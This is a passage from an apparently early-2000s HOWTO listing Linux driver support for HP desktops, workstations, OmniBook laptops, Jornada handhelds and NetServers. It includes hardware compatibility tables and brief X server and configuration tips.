Kayak XU (D8924N) | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | AMD 79C972 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) + Adaptec AIC 7880 PCI | Yes driver ncr53c8xx and driver aic7xxx | ??? | ??? | No
Kayak XU700 (A7185C) | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | ??? | ??? | None | N/A | ??? | ??? | No
Kayak XU700 (A7186C) | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | ??? | ??? | ??? | ??? | ??? | ??? | No
Kayak XU800 (D8019N) Rem. | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XU800 (D8021N, P1586N, P1661N) Rem. | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XU800 (D8000N, D8001N) Rem. Rem. | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XU800 (D8002N, D8010N, D8016N, P1585N, P1589N, P1663N, P1664N, P1668N) Rem. | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XU800 (D8003N, D8006N, D8012N, P1587N, P1665N, P1669N) Rem. | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Kayak XU800 (P1667N) Rem. Rem. | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XU800 (D8007N, D8013N, D8020N, D8022N, P1588N, P1590N, P1662N, P3220N, P3221N) Rem. | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | No
Kayak XU800 (D8009N, D8015N) Rem. | 3DLabs Oxygen GVX1 AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Cirrus Logic CS 4614 | Yes driver AlsaRem. | Yes
Kayak XW (D6475N) | Elsa Gloria SynergyRem. | Yes XFree 4.1.0Rem. (glint) | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | Adaptec AIC 7860 PCI + Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | ??? | ??? | No
Kayak XW (D5505N, D5507N, D5509N) | Accel Eclipse PCI | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Not interesting | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | Adaptec AIC 7860 PCI + Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | ??? | ??? | No
Kayak XW (D5510N, D5514N, D6485N) | HP Fx-4 AGP | Yes HP X ServerRem. | AMD 79C971 KC 10/100 BT | Yes driver pcnet32 | Adaptec AIC 7860 PCI + Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | ??? | ??? | No
Kayak XW (D6480N, D6481N, D6482N) Chipset BXRem. | Accel Eclipse PCI | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Not interesting | ??? | ??? | ??? | ??? | ??? | ??? | No
Kayak XW (D6797N) | HP Fx-6 AGP | Yes HP X ServerRem. | ??? | ??? | ??? | ??? | ??? | ??? | No
Kayak XW (D6486N, D6487N, D6488N) Chipset BXRem. | HP Fx-4 AGP | Yes HP X ServerRem. | ??? | ??? | ??? | ??? | ??? | ??? | No

The health monitoring system HP Kayak Maxilife, available on the whole Kayak range, is supported by Linux with the tool Lm_sensors

3.2.1.2. Desktop computer accessories

The following table provides all information on the support for this hardware by Linux.

Table 3-5. Desktop computer accessories

Reference | Card type | Chipset | Linux support | Tested
D1553A | Extension | ISA Slots Extension kit | Yes | Yes
D5480A | FastRaid Card | Adaptec ARO Raidport | No | No
D6690A | FastRaid Card | Adaptec ARO Raidport | No | No
D6951A | SCSI Card | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | Yes
D9528A | SCSI Card | Symbios Logic 8952U Ultra2 Wide PCI | ??? | No
D9529A | SCSI Card | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Yes
D9663A | SCSI Card | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | Yes
D9561A | SCSI Card | ??? | ??? | No
P2280A | SCSI Card | Adaptec AIC 29160 PCI | Yes driver aic7xxxRem. | No
D6936A | Network Card | AMD 79C972 AKC 10/100 BT | Yes driver pcnet32 | Yes
D7504A | Network Card | 3Com 905B-TX 10/100 BTRem. | Yes driver 3c59xRem. | Yes
D7506A | Network Card | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | No
D7508A | Network Card | ??? | ??? | No
D7522A | Network Card | 3Com 905C-TX 10/100 BT | Yes driver 3c59xRem. | Yes
D7531A | Network Card | Carte HP chipset RealTek | Yes driver RealTek | Yes
D6657A | Sound Card | ??? | ??? | No
D5183A | Sound Card | ??? | ??? | No
P1552A | Video Card | Matrox Millenium G250 AGP | Yes XFree 4.1.0Rem. (mga) | Yes
D9521A | Video Card | Matrox Millenium G400D AGP | Yes XFree 4.1.0Rem. (mga) | Yes
D9509A, D9522A, D9522B | Video Card | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | Yes
D9523A | Video Card | 3DLabs Oxygen GVX1 AGP | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. | Yes
P1971A, P2289A (MX) | Video Card | nVidia GeForce 2 GTS AGP | Yes XFree 4.1.0Rem. (nv) | No

CD-ROM, DVD and ZIP drives are supported by Linux kernel. Read the various HOWTO for their use, following the interface type.

3.2.1.3. The workstation range (Visualize, HP workstation)

Visualize systems come in two flavors: the p and x class systems are preinstalled, supported, and configured with Windows; the pl and xl class systems are preinstalled, supported, and configured with Linux. There is no hardware difference between the base systems, but the Linux image that is preinstalled on the pl and xl is customized so that all drivers for the systems are preconfigured -- there's no need to specify or tune the box and drivers.

Table 3-6. Visualize and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
Visualize P (A1296A, A5015A) Chipset BXRem. | Elsa Gloria Synergy + AGPRem. | Yes XFree 4.1.0Rem. (glint) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | Analog Device 1816 | Yes driver AD1816Rem. | RedHat 6.0, 6.1
Visualize P (A1296A, A5015A) Chipset BXRem. | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | Analog Device 1816 | Yes driver AD1816Rem. | RedHat 6.0, 6.1
Visualize P (A6034A, A6038A) | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4280 | Yes driver AlsaRem. | RedHat 6.2
Visualize P (A6034A, A6038A) | HP Fx-5 AGP | Yes HP X ServerRem. | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4280 | Yes driver AlsaRem. | RedHat 6.2
Visualize P (A6034A, A6038A) | HP Fx-10 AGP | Yes HP X ServerRem. | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4280 | Yes driver AlsaRem. | RedHat 6.2
Visualize X (A1297A, A5014A) Chipset BXRem. | Elsa Gloria Synergy + AGPRem. | Yes XFree 4.1.0Rem. (glint) | AMD 79C971 KC 10/100 BT + SCSI (D6692A)Rem. | Yes driver pcnet32 | Symbios Logic 53c875 with network card (D6692A) | Yes driver ncr53c8xxRem. | Analog Device 1816 | Yes driver AD1816Rem. | RedHat 6.0
Visualize X (A1280A, A6020A) | Elsa Gloria Synergy II AGP | Yes XFree 4.1.0Rem. (glint) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4280 | Yes driver AlsaRem. | RedHat 6.2
Visualize X (A1280A, A6020A) | HP Fx-5 AGP | Yes HP X ServerRem. | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4280 | Yes driver AlsaRem. | RedHat 6.2
Visualize X (A1280A, A6020A) | HP Fx-10 AGP | Yes HP X ServerRem. | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4280 | Yes driver AlsaRem. | RedHat 6.2

A page dedicated to these machines and their support under Linux is available at the following address : http://www.hp.com/workstations/products/linux/index.html

A page of questions and answers on these machines is also available at the following address : http://www.hp.com/visualize/programs/news/archive/qa1.html

In particular, it's recommended to use a kernel 2.2.16 at least to support correctly the SCSI controller of these machines.

A beta X server for the FX2+, FX4+ and FX6+ cards is available at the following address : http://www.hp.com/workstations/support/software/drivers/linux/video/fxvideo/fx6/driver.html?

An X server for the FX5 and FX10 cards is available at the following address : http://www.hp.com/workstations/support/software/drivers/linux/video/fxvideo/fx10/index.html

Table 3-7. HP workstation and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
X1000 (A7778A) | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | None | N/A | Cirrus Logic CS 4299 | Yes driver cs4299 | No
X1000 (A7779A, A7780A) | nVidia Quadro2 Pro AGP | Yes XFree 4.1.0Rem. (nv) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4299 | Yes driver cs4299 | No
X2000 (A7236A, A7236B) | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | None | N/A | Cirrus Logic CS 4299 | Yes driver cs4299 | RedHat 7.1
X2000 (A7237A) | nVidia Quadro2 Pro AGP | Yes XFree 4.1.0Rem. (nv) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4299 | Yes driver cs4299 | RedHat 7.1
X2000 (A7238A, A7862A) | ATI fireGL2 AGPRem. | Yes XFree 4.1.0Rem. (fireglRem.) | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4299 | Yes driver cs4299 | RedHat 7.1
X2000 (A7805A) | None | N/A | SMC 1211 TX EZ Card 10/100 BT | Yes driver rtl8139 | Adaptec AIC 7892 PCI | Yes driver aic7xxxRem. | Cirrus Logic CS 4299 | Yes driver cs4299 | RedHat 7.1
X4000 (A7264A, A8034A) | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | Symbios Logic 53C810 PCI | Yes driver ncr53c8xxRem. | ??? | ??? | RedHat 7.1
X4000 (A7265A, A8037A) | None | N/A | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | Symbios Logic 53C810 PCI | Yes driver ncr53c8xxRem. | ??? | ??? | RedHat 7.1
X4000 (A7266A, A8035A) | nVidia Quadro2 Pro AGP | Yes XFree 4.1.0Rem. (nv) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | Symbios Logic 53C810 PCI | Yes driver ncr53c8xxRem. | ??? | ??? | RedHat 7.1
X4000 (A7267A, A8036A) | ATI fireGL2 AGPRem. | Yes XFree 4.1.0Rem. (fireglRem.) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | Symbios Logic 53C810 PCI | Yes driver ncr53c8xxRem. | ??? | ??? | RedHat 7.1

3.2.1.4. Workstations accessories

The following table provides all information on the support for this hardware by Linux.

Table 3-8. Workstations accessories

Reference | Card type | Chipset | Linux support | Tested
A6076A | Video Card | ATI fireGL2 AGPRem. | Yes XFree 4.1.0Rem. (fireglRem.) | No
A7192A | Video Card | Matrox Millenium G450D AGPRem. | Yes XFree 4.1.0Rem. (mga) | Yes
A6064A, A6065A (MXR) | Video Card | nVidia Quadro2 Pro AGP | Yes XFree 4.1.0Rem. (nv) | No

CD-ROM, DVD and ZIP drives are supported by Linux kernel. Read the various HOWTO for their use, following the interface type.

There are 4 supported graphics cards with XFree86 on HP x2000 and x40000 systems with Linux: SynergyPlus, Synergy2, Matrox G450, and FireGL2/4. There are also 4 rpms that are associated with these cards and they must be present on your system in order to have a supported graphics environment: synergyplus, synergy2, firegl2 and mgag450. For example, to check for the existence of the firegl2 rpm, run
#rpm -q firegl2

Once you have installed the new card and rebooted, run /usr/X11R6/bin/graphicsconfig to configure the card. If it is a recognized card supported by your Linux system, the function will return the name of the card and it will be configured to run. At this point you may start up your X window environment.

If it returns "UNKNOWN", then your graphics card either is not one of the 4 currently supported cards, or it is a newer/older version of the card than is supported. In either case you will need to run Xconfigurator to set it up.

3.2.1.5. The mobile computer range (OmniBook)

To suspend to disk the current session, you need to not have deleted the hibernation partition (type a0), which size should be the size of the RAM, to have support for APM in the kernel, and to use the key combination Fn+F12.

To send the video signal, either to an external screen, or through the docking station, it is be necessary to add the following parameter to your XFree86 configuration file /etc/X11/XF86Config:
[...]
Section "Device"
[...]
Options "crt_screen"
[...]
This concerns mobile computers using ATI chipsets. The switch is done by pressing simultaneously on Fn-F5.

Most of the OmniBook have in option a "Port Replicator" system allowing, according to the model, to support PCI cards, complementary ports, ...

A Web page dedicated to Omnibook under Linux is available at: http://www.swiss.ai.mit.edu/projects/omnibook/

The following table provides all information on the support for this hardware by Linux.

Table 3-9. OmniBook and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
OmniBook Sojourn (F1430A) | Neomagic MagicGraph 128XD NM2160 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | None | N/A | ??? | ??? | No
OmniBook XE (F1719W, F1720W, F1721W, F1722W) Rem. | Silicon Motion LynxE SM810Rem. | Yes XFree 4.1.0Rem. (siliconmotion) | None | N/A | None | N/A | ESS Maestro 2 | Yes driver maestroRem. | Yes
OmniBook XE2 (F1664W, F1666W|N F1667W|N, F1674W, F1675W, F1753W, F1756W, F1755W|N, F1772W, F1774W|N, F1775W|N, F1962W, F2051W, F2052W|K, F2053W|K, F2055W|K, F2065W|K, F2068W, F2069W|K) Rem. | Silicon Motion LynxE SM810Rem. | Yes XFree 4.1.0Rem. (siliconmotion) | None | N/A | None | N/A | ESS Maestro 3 | YesRem. | Yes
OmniBook XE3 (F2113W|K, F2114W|K, F3877W) Rem. Rem. | S3 Savage AGPRem. | Yes XFree 4.1.0Rem. (savage) | None | N/A | None | N/A | ESS Maestro 3 | YesRem. | Yes
OmniBook XE3 (F2115W|K, F2116W|K, F2117W|K, F2302W|K, F2303W|K, F2305W|K, F2306W|K, F2308W|K, F2321W|K, F2331W|K, F2334W|K, F2335W|K, F2336W|K, F2396W|K, F2400W|K, F2402W|K, F3708W|K, F3863W|K, F3937H, F3939H, F4139W) Rem. Rem. | S3 Savage AGPRem. | Yes XFree 4.1.0Rem. (savage) | Accton EN2242 minipci | Yes driver tulip | None | N/A | ESS Maestro 3 | YesRem. | Yes
OmniBook 500 (F2158W|K, F2159W|K, F2161W|K, F2162W|K) | ATI Rage Mobility | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Rem. | None | N/A | None | N/A | ESS Maestro 3 | YesRem. | RedHat 7.1, Debian 2.2, SuSE 7.1, 7.3
OmniBook 500 (F2164W|K, F2165W|K, F2167W|K, F2168W|K, F2974W|K, F2975W|K, F3477W|K, F3478W|K, F3483W|K, F3488W|K) | ATI Rage Mobility | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Rem. | 3Com 3C556 10/100 BT | Yes driver Rem. | None | N/A | ESS Maestro 3 | YesRem. | RedHat 7.1, Debian 2.2
OmniBook 600 () Rem. | Chips & Technologies CT65545 | Yes XFree 4.1.0Rem. (chips) | None | N/A | None | N/A | ??? | ??? | RedHat 6.x, Debian 2.2
OmniBook 800 (F1360A, F1175A, F1174A, F1173A, F1172A, F1171A) | Neomagic MagicGraph 128XD NM2160 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | SCSI Card | Yes driver ncr53c8xxRem. | SoundBlaster compatible | Yes driver sb | Mandrake 8.0, Debian 2.2
OmniBook 900 (F1711W|N, F1712W|N, F1760W|N) | Neomagic MagicGraph 256AV NM2200 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | None | N/A | Analog Device 1848 | Yes driver AD1848 | Mandrake 8.1
OmniBook 900 (F1769W|N|K, F1770W|N|K, F1979W|N|K, F1980W|N|K, F2007W|N|K) | ATI Rage Mobility | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Rem. | None | N/A | None | N/A | ESS Maestro 2 | Yes driver maestroRem. | Mandrake 8.1
OmniBook 2000 (F1356A, F1397A) | Chips & Technologies CT65554 | Yes XFree 4.1.0Rem. (chips) | None | N/A | None | N/A | ??? | ??? | No
OmniBook 2100 (F1584W, F1580W, F1581W, F1597W, F1598W, F1599W, F1600W, F1729W) | Neomagic MagicGraph 128XD NM2160 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | None | N/A | Crystal CS 4232 | Yes | Yes
OmniBook 3000 (F1391A, F1392A, F1393A) | Neomagic MagicGraph 128XD NM2160 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | None | N/A | Crystal CS 4232 | Yes | No
OmniBook 3100 (F1582W) | Neomagic MagicGraph 128XD NM2160 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | None | N/A | SoundBlaster compatible | Yes driver sb | No
OmniBook 4000 () | WD90C24 PCI | Yes XFree 3.3.6Rem. (SVGA) | None | N/A | None | N/A | ??? | ??? | No
OmniBook 4100 (F1462W, F1463W, F1479W, F1464W, F1703W) | Neomagic MagicGraph 128XD NM2160 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | None | N/A | ??? | ??? | Yes
OmniBook 4150 Rem. (F1629W|N, F1640W|N, F1641W|N, F1642W|N, F1647W|N, F1648W|N, F1663W|N) | Neomagic MagicGraph 256AV NM2200 | Yes XFree 4.1.0Rem. (neomagic) | None | N/A | None | N/A | ??? | ??? | Mandrake, Debian
OmniBook 4150 (F1649W|N|K, F1650W|N|K, F1658W|N, F1660W|N, F1662W|N|K, F1976W|N|K, F1983W|N|K, F2000W|N|K) | ATI Rage Mobility | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Rem. | None | N/A | None | N/A | ESS Maestro 2 | Yes driver maestroRem. | Yes
OmniBook 5000 () | Chips & Technologies CT65545 | Yes XFree 4.1.0Rem. (chips) | None | N/A | None | N/A | Crystal CS 4232 | Yes | Yes
OmniBook 5500 () | Chips & Technologies CT65548 | Yes XFree 4.1.0Rem. (chips) | None | N/A | None | N/A | Crystal CS 4232 | Yes | Yes
OmniBook 5700 (F1352A, F1353A, F1396A, F1354A, F1355A) | Chips & Technologies CT65554 | Yes XFree 4.1.0Rem. (chips) | None | N/A | None | N/A | ??? | ??? | RedHat 7.0, 7.1, 7.2, Mandrake 7.1
OmniBook 6000 Rem. (F2072W|K, F2079W|K, F2081W|K, F2083W|K, F2087W|K, F2090W|K, F2140W|K, F2144W|K, F2148W|K, F2150W|K, F2186W|K, F2182W|K, F2184W|K, F2188W|K, F2197W|K, F2200W|K, F2202W|K, F2205W|K) | ATI Rage Mobility | Yes XFree 4.1.0Rem. in Frame Buffer mode (FBDEV)Rem. Rem. | 3Com 3C556 10/100 BT | Yes driver Rem. | None | N/A | ESS Maestro 3 | YesRem. | RedHat 6.2, 7.0, 7.1, Debian 2.2, Mandrake 7.1, 8.0
OmniBook 6100 Rem. (F3251W|K, F3253W|K, F3257W|K, F3259W|K, F3260W|K, F3262W|K, F3263W|K, F3265W|K, F3266W|K, F3268W|K) | ATI Radeon Mobility AGP | Yes XFree 4.1.0Rem. (ati) | Intel PRO 10/100 BT | Yes driver eepro100 or e100 | None | N/A | ESS Maestro 3 | YesRem. | RedHat 7.2, Mandrake 8.1
OmniBook 7100 (F1441W, F1442W) | ATI Rage LT Pro | Yes XFree 4.1.0Rem. (ati) | None | N/A | None | N/A | SoundBlaster compatible | Yes driver sb | RedHat 7.0
OmniBook 7150 (F1443W) | ATI Rage LT Pro | Yes XFree 4.1.0Rem. (ati) | None | N/A | None | N/A | ESS Maestro 2 | Yes driver maestroRem. | No

3.2.1.6. Mobile computer accessories

The cards mentionned below are PCMCIA or PC-Card cards.

The following table provides all information on the support for this hardware by Linux.

Table 3-10. Mobile computer accessories

Reference | Card type | Chipset | Linux support | Tested
F1623A | Modem/Net Card | Xircom CEM56-100 56Kb 10/100 BT | Yes driver xirc2ps_cs | Yes
F1625A | Modem Card | ??? | ??? | No
F1626A | Network Card | 3Com 3CXFE575BT 10/100 BT | ??? | No
F1626B | Network Card | ??? | ??? | No
F2136B | Network Card | Lucent 802.11b wireless | ??? | No
F1643A | Modem/Net Card | ??? | ??? | No
F1782A | Modem/Net Card | ??? | ??? | No

3.2.1.7. The handheld range (Jornada)

The following table provides all information on the support for this hardware by Linux.

Table 3-11. Jornada and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
Jornada 710 (F1889A) | ??? | ??? | None | N/A | None | N/A | None | N/A | No
Jornada 720 (F1816A, F1430A) | ??? | ??? | None | N/A | None | N/A | None | N/A | No

For this machine look at : http://www.arm.linux.org.uk/developer/machines/?action=list&id=49

Models 620, 680 and 690, equiped with a superH processor are also supported by the Linux Kernel.

The other models of Jornada can not run Linux.

3.2.1.8. The server range (NetServer)

A page on how Linux works on HP NetServers is available at http://www.netserver.hp.com/netserver/products/highlights_linux.asp

An official compatibility matrix of HP NetServers with Linux and other operating systems is available at : http://netserver.hp.com/products/highlights_nos.asp

Documents (in japanese) written by Junichi Shimoda concerning management of AMI Megaraid cards and HP Instant TopTools under Linux are respectively available at http://www.jpn.hp.com/biz/products/pcserver/linux/document/pdf/rh70_lp1000r_megamgr.pdf and http://www.jpn.hp.com/biz/products/pcserver/linux/document/pdf/instanttt-rh62.pdf

Official documents to help configuring NetServers under Linux RedHat 5.2 and 6.0 are also available.

The following table provides all information on the support for this hardware by Linux.

Table 3-12. NetServers and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
NetServer E45 (D4973A, D4974A, D4975A, D4976A, D5971A) | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 2910bui (7860) PCI | Yes driver aic7xxxRem. | None | N/A | No
NetServer E50 (D6034A, D6033A, D6035A, D6031A, D6030A, D6032A) | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | Yes
NetServer E55 (D9337A) | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | Adaptec AIC 7895H PCI | Yes driver aic7xxxRem. | None | N/A | No
NetServer E60 (D7140A, D7142A, D7144A, D7146A, D7148A, D9123A, D9127A, D9128A, D9129A) | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | Adaptec AIC 7895H PCI | Yes driver aic7xxxRem. | None | N/A | Yes
NetServer E200 (P4595A, P5404A, P5447A) | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | None | N/A | None | N/A | No
NetServer E200 (P1205A, P2448A, P4594A, P5403A) | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | No
NetServer E800 (D9400A, D9402A, D9404A, D9408A, D9409, D9411A, P1195A, P1200A, P2457A, P2458A, P2460A, P2477A, P2502A, P2503A, P2504A, P3428A, P3432A, P5368A, P5370A, P5372A, P5374A, P5551A, P5553A, P7655A ) Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | 2 Symbios Logic 53C896 PCI | Yes driver sym53c8xxRem. | None | N/A | RedHat 7.0, Mandrake 7.2
NetServer LC (D3343A) | Trident TVGA 9000i | Yes XFree 3.3.6Rem. (SVGA) | None | N/A | Adaptec AIC 7770 EISA | Yes driver aic7xxxRem. | None | N/A | Yes
NetServer LCII (D4907A, D4909A, D5014A, D5015A, D5016A, D5969A, D5970A, D5959A, D5961A) | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | Yes
NetServer LC3 (D6123A, D7018A, D6125A, D7020A, D7028A, D7025A, D7126A, D8594A) Chipset BXRem. | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | Yes
NetServer LC2000 (D8514A, D8515A, D8519A, D8520A, D8524A, D8525A, D9162A, D9163A, D9164A, D9165A, P1802A, P1802B, P1804A, P1804B, P2478A, P2478B, P2479A, P2479B, P3493A, P3493B, P5364B, P5550B) Chipset i820Rem. Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | 2 Symbios Logic 53C897 PCI | Yes driver ncr53c8xxRem. | None | N/A | RedHat 6.2, 7.0, Mandrake 7.2, 8.1
NetServer LDPro (D4944A, D4946A, D4961A, D4962A) | Trident TVGA 9000i | Yes XFree 3.3.6Rem. (SVGA) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | No
NetServer LHPro (D4979A, D4980A, D4981A, D4982A) | Trident TVGA 9000i | Yes XFree 3.3.6Rem. (SVGA) | None | N/A | 2 Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | Yes
NetServer LHII (D5017A, D5953A, D5021A, D5023A, D6047A, D6048A) | Trident TVGA 9000i | Yes XFree 3.3.6Rem. (SVGA) | None | N/A | 2 Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | Yes
NetServer LH3 (D4998A, D5002A, D5000A, D5004A, D7033A, D7034A, D8503A, D8504A, D8567A, D8568A, D9343A, D9344A) Chipset BXRem. Rem. | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | 2 Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | None | N/A | Yes
NetServer LH3000 (D8228A, D8230A, D8236A, D8238A, D8244A, D8246A, D9176A, D9178A, D9180A, D9182A, P1794A, P1794B, P1796A, P1796B, P2482A, P2482B, P2483A, P2483B) Chipset BXRem. Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | Adaptec AIC 7880 PCI + 2 Symbios Logic 53C896 PCI | Yes driver aic7xxx and driver sym53c8xx | None | N/A | RedHat 6.2, 7.0, Mandrake 7.2, 8.1
